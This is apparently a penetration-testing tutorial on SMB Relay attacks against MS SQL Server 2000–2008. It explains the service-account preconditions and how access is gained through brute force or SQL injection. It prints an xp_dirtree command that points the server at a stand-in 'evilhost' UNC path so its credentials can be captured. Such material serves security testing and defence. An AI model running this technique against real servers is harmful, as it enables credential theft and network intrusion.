Today we will talk about the practical implementation of the SMB Relay attack through one of the common software which very often becomes a part of ERP systems. This is MS SQL server. The last version is 2008 (R2), but but in real life the versions 2005 and 2000 are still used as they still take up big part of RDBMS application area. We will cover all of them.
Now, look at another side of our deal. One of the main components of the successful SMB Relay realization is the account under which the MS SQL server is run. It should be a domain or a local user account, not system’s account like ‘System’ or ‘Local Service’. SQL Server 2000 runs as ‘System’ and SQL Server 2005/2008 runs as ‘Network Service’ by default.This hardly compliments penetration testers. Still our experience in penetration tests shows that the situations “is not by default” come up very often because there are some objectives reasons (e.g. MS SQL server’s limitations when you run it on a clustered or domain server,or when you run multiple SQL servers on your organization using domain user like DOMAIN\SQL servers for better administration). But the practice of running SQL server under a user account is quite spread. For more information visit http://msdn.microsoft.com/en-gb/library/ms143504.aspx
Get access on MS SQL Server
There are two main ways to interact with MS SQL server. The first is the direct connection with RDBSM via 1433 port when you have valid credentials (brute force/dictionary and other attacks will help you). The second is the interaction thought another software for example a web application. In this case we should find an SQL injection – a casual or a blind is not important for our purposes. I think this is not a big deal.
For successful SMB Relay attack realization we should enforce MS SQL Server to initiate SMB session on attacker server via UNC path request (\\any.server\any\path). We have some different methods for completing the necessary.
One of the most common and useful methods is using extended stored procedures.
An extended stored procedure (“xp”) is a dynamic link library that runs directly in the address space of SQL Server. It contains many extended stored procedures for extending SQL Server’s capabilities.
There are three extended procedures available for public access – xp_dirtree, xp_fileexist, xp_getfiledetails. We can use one of them depending on a currentcondition, because not all of them exist in different SQL Server versions, or enabled for users or other limitations. We should have an “execute” permission for applying extended stored procedures. Such permissions are granted to ‘public’ role by default. Details you can see in Table 1.
Syntaxes of the extended procedures are one for all:
EXEC master..xp_dirtree ‘\\evilhost\test’
|Extended stored procedure||SQL 2000||SQL 2005||SQL 2008 R2|
|xp_getfiledetails||Public||not exist||not exist|